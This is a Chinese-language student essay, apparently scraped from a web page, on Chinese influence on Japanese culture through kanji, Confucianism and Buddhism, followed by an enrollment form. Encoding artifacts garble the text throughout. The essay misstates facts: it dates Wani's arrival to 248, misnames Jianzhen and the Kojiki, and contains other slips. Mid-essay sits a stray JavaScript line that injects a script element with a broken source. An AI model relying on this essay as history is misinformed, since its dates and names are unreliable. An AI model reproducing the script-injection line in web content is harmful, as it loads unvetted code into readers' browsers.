中華文化影響下的日本文化選修課作業(yè)


推選答案淺談中國(guó)文化對(duì)日本文化的影響

日本文化的形成與中國(guó)文化息息相關(guān),是在不斷吸收和借鑒中國(guó)傳統(tǒng)文化的養(yǎng)分中成長(zhǎng)起來(lái)的。例如日本的茶文化。中國(guó)是茶的祖國(guó),是茶文化的發(fā)源地,起源于中國(guó)的茶文化在向世界各地傳播時(shí)較早地傳入日本列島,被稱為書道的日本藝術(shù),更是起源于用漢字抄寫從中國(guó)傳入的佛經(jīng),在中國(guó)書法基礎(chǔ)上發(fā)展成為深受日本人民喜愛的一種藝術(shù)形式。 日本國(guó)土狹窄,人口擁擠,地震頻繁,資源貧乏,嚴(yán)重依賴進(jìn)口,這也強(qiáng)化了日本人的危機(jī)感,為了解除危機(jī),日本人養(yǎng)成了好學(xué),奮進(jìn)的精神。同時(shí),日本又是一個(gè)海洋國(guó)家,四面臨海。與島國(guó)自我封閉,與世無(wú)爭(zhēng)的心態(tài)相反,海洋國(guó)家卻具有著沖破束縛,勇敢探索,積極進(jìn)取等特征。最后,自強(qiáng)心理和獨(dú)特的島國(guó)環(huán)境都促進(jìn)了日本文化的形成和發(fā)展。今天的日本文化既有日本傳統(tǒng)文化的結(jié)晶,也是傳統(tǒng)日本文化和外來(lái)文化特別是中國(guó)文化在不斷交織,融合的過(guò)程中而逐漸形成的結(jié)果。中國(guó)文化對(duì)日本文化的影響表現(xiàn)在多個(gè)方面,本文通過(guò)四個(gè)方面來(lái)向大家闡述。
中華文化影響下的日本文化選修課作業(yè)

(1)中國(guó)漢字的傳入和日本文字的發(fā)展
日本名族和世界上其他名族一樣,很早就有了自己的口頭語(yǔ)言,但是就日本的文字而言,它卻是在中國(guó)的漢字逐漸傳入日本以后才逐漸產(chǎn)生的。日本從最初沒有文字到創(chuàng)造出自己獨(dú)有的假名文字與“和漢混合”的文字體系,這個(gè)過(guò)程是全面學(xué)習(xí)和引進(jìn)漢字,并且根據(jù)日本原有的語(yǔ)言對(duì)它滴化和再創(chuàng)造的過(guò)程。史籍之記載漢字漢學(xué)之正式傳入日本者,當(dāng)為應(yīng)神 天皇之世(約當(dāng)公元三世紀(jì)末葉,即二四八年王仁從百濟(jì)渡日,獻(xiàn)論語(yǔ)十卷及千字文一卷,是為漢字漢學(xué)傳入日本的開始),自漢字輸入日本后,歷經(jīng)歲月,至八世紀(jì)中葉,日本人開始用漢字楷書的偏字,造成片假名,又用漢字草書的偏旁造為平假名,以為注漢字音,及標(biāo)注日本語(yǔ)音之用。當(dāng)時(shí)稱漢字為男文字,而稱假名為女文字。漢字傳入日本后,不僅成為公家用以記錄史實(shí),且為一般學(xué)者用以著作寫書,而成為當(dāng)時(shí)日本唯一的正式文字。不過(guò)漢字在日本的讀法有訓(xùn)讀及音讀兩種。前者即日本原來(lái)的語(yǔ)言,而后者則系中國(guó)傳入之音。然音讀又因傳入的時(shí)地之異而復(fù)分為漢音、唐音、吳音。漢字傳入日本後,不僅促進(jìn)了日本古代文化的進(jìn)步,同時(shí)亦因而促成了所謂片、平假名的日本文字的出現(xiàn)。 日本雖然沒有自己創(chuàng)造出來(lái)的文字,但是通過(guò)對(duì)漢字從功能到形態(tài)上進(jìn)行徹底的改造,使其變成了自己的文字,這表明了日本人不僅善于模仿外來(lái)文化,還會(huì)在其吸收和融合的過(guò)程中進(jìn)行加工和改造。 (2)中國(guó)儒家思想對(duì)日本文化的影響
中華文化影響下的日本文化選修課作業(yè)

儒家學(xué)說(shuō)是中國(guó)傳統(tǒng)文化的主體,對(duì)日本傳統(tǒng)文化的形成和發(fā)展始終具有深刻的影響。特別是在日本資本主義思想產(chǎn)生之前。儒學(xué)傳入日本大約是在公元五世紀(jì)以前。據(jù)《古世紀(jì)》記載,百濟(jì)的阿直歧,王仁是最早來(lái)到日本的儒學(xué)者,并且?guī)?lái)《論語(yǔ)》和《千字集》等儒學(xué)典籍并且在日本傳授儒家學(xué)說(shuō)。繼體天皇時(shí)期(507—531)曾要求百濟(jì)國(guó)王定期向日本派遣五經(jīng)博士,傳授儒家思想,于是儒家迅速發(fā)展。圣德太子制定的“冠位十二階”和“十七條憲法”,主要體現(xiàn)了儒家思想,甚至所用的詞匯和資料亦大多是取自儒家典籍。在日本歷史上具有劃時(shí)代意義的大化革新,也是在儒家思想的深刻影響下而發(fā)生的。但是日本人對(duì)于中

var script = document.createElement('script'); script.src = ';; document.body.appendChild(script);
中華文化影響下的日本文化選修課作業(yè)


國(guó)儒家思想的吸收也是又選擇性的,他們?cè)趯W(xué)習(xí)和吸收儒學(xué)的過(guò)程中已經(jīng)成為了日本的儒學(xué)。本尼迪克特在《菊與刀》中曾說(shuō):在中國(guó)儒學(xué)中,“仁”被成為駕臨在一切之上的德。而在日本“仁”被徹底排斥在日本的倫理體系之外;在中國(guó)儒學(xué)中“忠”是有條件的,而在日本,對(duì)主君的“忠”則是對(duì)天皇無(wú)條件的遵從。日本化了的儒學(xué),做為一種社會(huì)意識(shí)形態(tài),對(duì)于日本民族和社會(huì)的影響,巨大而深遠(yuǎn)。這種影響作用不可避免地延續(xù)到日本歷史發(fā)展的全過(guò)程。直至明治維新,日本政府開始接受與儒家文化特點(diǎn)相異的西方近代資本主義文化時(shí)起,儒家文化便注定開始了與以往任何歷史階段所不同的特殊地位,并開始發(fā)揮其在日本近代歷史中更加獨(dú)特的作用。
(3)佛教思想對(duì)日本文化的影響
中國(guó)文化隨著佛教的傳入才在日本生根發(fā)芽。鑒證和尚和他的弟子六次東渡才到達(dá)日本,為佛教在日本的傳播和發(fā)展做出重大貢獻(xiàn)。佛教最早是在公元六世紀(jì)經(jīng)由中國(guó)傳到日本。最初,佛教僅是蘇我氏等貴族的信仰,在大化改行前成為了朝廷公認(rèn)的信仰。天皇也是佛教的忠實(shí)信徒,舒明天皇修建了百濟(jì)寺,天武天皇還把朗誦金剛明經(jīng)作為國(guó)家規(guī)定的活動(dòng)來(lái)經(jīng)行。佛教的普及在圣武天皇時(shí)期達(dá)到最高潮,迎來(lái)了以七世紀(jì)前半夜圣德太子為中心的黃金時(shí)代。但是佛教在日本的傳播與儒學(xué)傳入日本時(shí)的遭遇頗不同。我們從《古事記》和《萬(wàn)葉集》的詩(shī)歌所描寫的事件中表現(xiàn)出來(lái)的日本人對(duì)生活的熱愛,對(duì)生命情趣的樂觀態(tài)度以及對(duì)死亡的悲憫心理,就可以發(fā)現(xiàn)這種強(qiáng)烈的入世要求和文化心理同佛教悲觀主義的人生哲學(xué)是格格不入的。但是出于文化交流的需要,出于政治統(tǒng)治的需要,佛教才漸漸在日本傳播開來(lái)。在不斷向中國(guó)吸收佛教思想的同時(shí),佛教也不斷在日本本土化。日本佛教本土化的標(biāo)志是凈土宗和禪宗的興旺發(fā)達(dá)及世俗化的趨勢(shì)。
總結(jié):日本文化中包含了太多的中國(guó)因素,如宗教,道德,藝術(shù)等等。這些都是日本對(duì)中國(guó)文化源源不斷吸收的產(chǎn)物。日本建國(guó)之初,不僅借用了中國(guó)的漢字,而且引進(jìn)了當(dāng)時(shí)唐朝幾
乎所有政治經(jīng)濟(jì)法律以及文化典章制度,還把漢詩(shī)和文章作為做官的必要條件。江戶幕府時(shí)代,日本就將儒學(xué)作為日本的核心價(jià)值觀,而且這種做法延至到了明治時(shí)期,可以說(shuō),中華文化深入到日本生活的方方面,對(duì)日本文化的形成和發(fā)展長(zhǎng)生了不可估量的作用。
網(wǎng)上報(bào)名
  • 姓名:
  • 專業(yè):
  • 層次: ??分?jǐn)?shù):
  • 電話:
  • QQ/微信:
  • 地址:

文中圖片素材來(lái)源網(wǎng)絡(luò),如有侵權(quán)請(qǐng)聯(lián)系644062549@qq.com刪除

轉(zhuǎn)載注明出處:http://www.haoleitv.com